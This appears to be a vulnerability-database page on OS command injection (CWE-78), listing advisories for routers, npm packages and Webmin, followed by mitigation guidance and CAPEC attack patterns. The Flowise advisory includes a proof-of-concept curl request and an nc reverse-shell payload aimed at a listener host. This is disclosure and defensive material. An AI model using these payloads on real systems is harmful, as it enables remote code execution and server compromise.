CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8304 vulnerabilities reference this CWE, most recent first.
GHSA-68XP-CPHM-CPH8
Vulnerability from github – Published: 2022-11-15 12:00 – Updated: 2025-04-30 15:30Tenda AC1200 Router Model W15Ev2 V15.11.0.10(1576) was discovered to contain a command injection vulnerability via the PortMappingServer parameter in the setPortMapping function.
{
"affected": [],
"aliases": [
"CVE-2022-42053"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-15T03:15:00Z",
"severity": "HIGH"
},
"details": "Tenda AC1200 Router Model W15Ev2 V15.11.0.10(1576) was discovered to contain a command injection vulnerability via the PortMappingServer parameter in the setPortMapping function.",
"id": "GHSA-68xp-cphm-cph8",
"modified": "2025-04-30T15:30:36Z",
"published": "2022-11-15T12:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42053"
},
{
"type": "WEB",
"url": "https://boschko.ca/tenda_ac1200_router"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6933-JPX5-Q87Q
Vulnerability from github – Published: 2025-09-15 20:30 – Updated: 2025-09-15 20:30Summary
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.
This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.
PoC
-
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx,pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker -
Create a new file named
payload.jsonsomewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
- Send the following
curlrequest using thepayload.jsonfile created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
- Observe that a new file named
yofitofiis created under/tmpfolder.
Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:
{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}
Impact
Remote code execution
Mitigation
- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
- Consider running Custom MCPs within a sandboxed environment
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.7-patch.1"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T20:30:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise\u0027s inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.\n\nThis combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.\n\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"touch\",\"args\": [\"/tmp/yofitofi\"]}},\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n\nSimilarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"nc\",\"args\": [\n\"\u003cLISTENER_IP_ADDRESS\u003e\",\"\u003cLISTENER_PORT\u003e\",\"-e\",\"/bin/sh\"\n]}},\n\"loadMethod\":\"listActions\"}\n```\n\n\n\n### Impact\nRemote code execution\n\n### Mitigation\n- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with \"Admin\" roles will be able to configure new Custom MCPs within the platform.\n- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.\n- Consider running Custom MCPs within a sandboxed environment\n\n### Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
"id": "GHSA-6933-jpx5-q87q",
"modified": "2025-09-15T20:30:30Z",
"published": "2025-09-15T20:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/5201"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Flowise has unsandboxed remote code execution via Custom MCP"
}
GHSA-693P-9GM7-MM9R
Vulnerability from github – Published: 2025-02-04 15:31 – Updated: 2025-02-04 15:31The end-of-life Netgear FVS336Gv2 and FVS336Gv3 are affected by a command injection vulnerability in the Telnet interface. An authenticated and remote attacker can execute arbitrary OS commands as root over Telnet by sending crafted "util backup_configuration" commands.
{
"affected": [],
"aliases": [
"CVE-2024-23690"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-04T15:15:17Z",
"severity": "HIGH"
},
"details": "The end-of-life Netgear FVS336Gv2 and FVS336Gv3 are affected by a command injection vulnerability in the Telnet interface. An authenticated and remote attacker can execute arbitrary OS commands as root over Telnet by sending crafted \"util backup_configuration\" commands.",
"id": "GHSA-693p-9gm7-mm9r",
"modified": "2025-02-04T15:31:37Z",
"published": "2025-02-04T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23690"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/netgear-fvs336g-rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-695X-F6XV-62QR
Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 11 of 46).
{
"affected": [],
"aliases": [
"CVE-2018-11153"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-02T01:29:00Z",
"severity": "HIGH"
},
"details": "Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 11 of 46).",
"id": "GHSA-695x-f6xv-62qr",
"modified": "2022-05-13T01:49:03Z",
"published": "2022-05-13T01:49:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11153"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/quest-dr-series-disk-backup-multiple-vulnerabilities"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/148003/Quest-DR-Series-Disk-Backup-Software-4.0.3-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/May/71"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-699F-4M6P-R5PG
Vulnerability from github – Published: 2024-04-27 15:31 – Updated: 2024-04-27 15:31A vulnerability, which was classified as critical, has been found in Ruijie RG-UAC up to 20240419. This issue affects some unknown processing of the file /view/network Config/GRE/gre_edit_commit.php. The manipulation of the argument name leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-262145 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-4255"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-27T15:15:06Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in Ruijie RG-UAC up to 20240419. This issue affects some unknown processing of the file /view/network Config/GRE/gre_edit_commit.php. The manipulation of the argument name leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-262145 was assigned to this vulnerability.",
"id": "GHSA-699f-4m6p-r5pg",
"modified": "2024-04-27T15:31:07Z",
"published": "2024-04-27T15:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4255"
},
{
"type": "WEB",
"url": "https://github.com/h0e4a0r1t/g-hdkyyf7L-Z8-5v/blob/main/Ruijie%20RG-UAC%20Unified%20Internet%20Behavior%20Management%20Audit%20System%20Backend%20RCE%20Vulnerability-gre_edit_commit.php.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.262145"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.262145"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.319820"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-69F2-4375-QV9H
Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2025-04-01 22:56All versions of the package smartctl are vulnerable to Command Injection via the info method due to improper input sanitization.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "smartctl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21810"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-27T01:02:28Z",
"nvd_published_at": "2023-01-26T21:15:00Z",
"severity": "HIGH"
},
"details": "All versions of the package smartctl are vulnerable to Command Injection via the info method due to improper input sanitization.",
"id": "GHSA-69f2-4375-qv9h",
"modified": "2025-04-01T22:56:35Z",
"published": "2023-01-26T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21810"
},
{
"type": "WEB",
"url": "https://github.com/baslr/node-smartctl/blob/f61266084d5b3e4baae9bd85f67ec4ec6a716736/index.js#23L18"
},
{
"type": "WEB",
"url": "https://github.com/baslr/node-smartctl/blob/f61266084d5b3e4baae9bd85f67ec4ec6a716736/index.js%23L18"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-SMARTCTL-3175613"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Command injection in smartctl"
}
GHSA-69F9-H8F9-7VJF
Vulnerability from github – Published: 2024-10-23 21:30 – Updated: 2024-10-23 21:40The Snyk php plugin is vulnerable to Code Injection when scanning an untrusted PHP project. The vulnerability can be triggered if Snyk test is run inside the untrusted project due to the improper handling of the current working directory name. Snyk recommends only scanning trusted projects.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "snyk-php-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-48963"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-23T21:40:12Z",
"nvd_published_at": "2024-10-23T19:15:19Z",
"severity": "HIGH"
},
"details": "The Snyk php plugin is vulnerable to Code Injection when scanning an untrusted PHP project. The vulnerability can be triggered if Snyk test is run inside the untrusted project due to the improper handling of the current working directory name. Snyk recommends only scanning trusted projects.",
"id": "GHSA-69f9-h8f9-7vjf",
"modified": "2024-10-23T21:40:12Z",
"published": "2024-10-23T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48963"
},
{
"type": "WEB",
"url": "https://github.com/snyk/snyk-php-plugin/commit/9189f093b94f9ce51672f6919ffbc98171fd66d4"
},
{
"type": "PACKAGE",
"url": "https://github.com/snyk/snyk-php-plugin"
},
{
"type": "WEB",
"url": "https://github.com/snyk/snyk-php-plugin/releases/tag/v1.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "OS Command Injection in Snyk php plugin"
}
GHSA-69HP-HRV4-RXRR
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2025-10-22 00:31An issue was discovered in Webmin through 1.920. The parameter old in password_change.cgi contains a command injection vulnerability.
{
"affected": [],
"aliases": [
"CVE-2019-15107"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-16T03:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Webmin through 1.920. The parameter old in password_change.cgi contains a command injection vulnerability.",
"id": "GHSA-69hp-hrv4-rxrr",
"modified": "2025-10-22T00:31:43Z",
"published": "2022-05-24T16:53:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15107"
},
{
"type": "WEB",
"url": "https://attackerkb.com/topics/hxx3zmiCkR/webmin-password-change-cgi-command-injection"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-15107"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/47230"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/154141/Webmin-1.920-Remote-Command-Execution.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/154141/Webmin-Remote-Comman-Execution.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/154197/Webmin-1.920-password_change.cgi-Backdoor.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/154485/Webmin-1.920-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html"
},
{
"type": "WEB",
"url": "http://www.webmin.com/security.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-69J5-58XF-9G4V
Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49System command injection in formAliasIp in TOTOLINK A3002RU version 1.0.8 allows attackers to execute system commands via the "ipAddr" POST parameter.
{
"affected": [],
"aliases": [
"CVE-2018-13314"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-27T20:29:00Z",
"severity": "CRITICAL"
},
"details": "System command injection in formAliasIp in TOTOLINK A3002RU version 1.0.8 allows attackers to execute system commands via the \"ipAddr\" POST parameter.",
"id": "GHSA-69j5-58xf-9g4v",
"modified": "2022-05-13T01:49:44Z",
"published": "2022-05-13T01:49:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13314"
},
{
"type": "WEB",
"url": "https://blog.securityevaluators.com/new-vulnerabilities-in-totolink-a3002ru-d6f42a081154"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-69JV-M7H2-WVMF
Vulnerability from github – Published: 2023-12-20 09:30 – Updated: 2023-12-20 09:30A flaw in the input validation in TOBY-L2 allows a user to execute arbitrary operating system commands using specifically crafted AT commands. This vulnerability requires physical access to the serial interface of the module or the ability to modify the system or software which uses its serial interface to send malicious AT commands.
Exploitation of the vulnerability gives full administrative (root) privileges to the attacker to execute any operating system command on TOBY-L2 which can lead to modification of the behavior of the module itself as well as the components connected with it (depending on its rights on other connected systems). It can further provide the ability to read system level files and hamper the availability of the module as well..
This issue affects TOBY-L2 series: TOBY-L200, TOBY-L201, TOBY-L210, TOBY-L220, TOBY-L280.
{
"affected": [],
"aliases": [
"CVE-2023-0011"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-20T08:15:43Z",
"severity": "HIGH"
},
"details": "A flaw in the input validation in TOBY-L2 allows a user to execute arbitrary operating system commands using specifically crafted AT commands. This vulnerability requires physical access to the serial interface of the module or the ability to modify the system or software which uses its serial interface to send malicious AT commands.\n\n\n\n\nExploitation of the vulnerability gives full administrative (root) privileges to the attacker to execute any operating system command on TOBY-L2 which can lead to modification of the behavior of the module itself as well as the components connected with it (depending on its rights on other connected systems). It can further provide the ability to read system level files and hamper the availability of the module as well..\n\n\n\n\nThis issue affects TOBY-L2 series: TOBY-L200, TOBY-L201, TOBY-L210, TOBY-L220, TOBY-L280.\n\n",
"id": "GHSA-69jv-m7h2-wvmf",
"modified": "2023-12-20T09:30:26Z",
"published": "2023-12-20T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0011"
},
{
"type": "WEB",
"url": "https://www.u-blox.com/en/report-security-issues"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.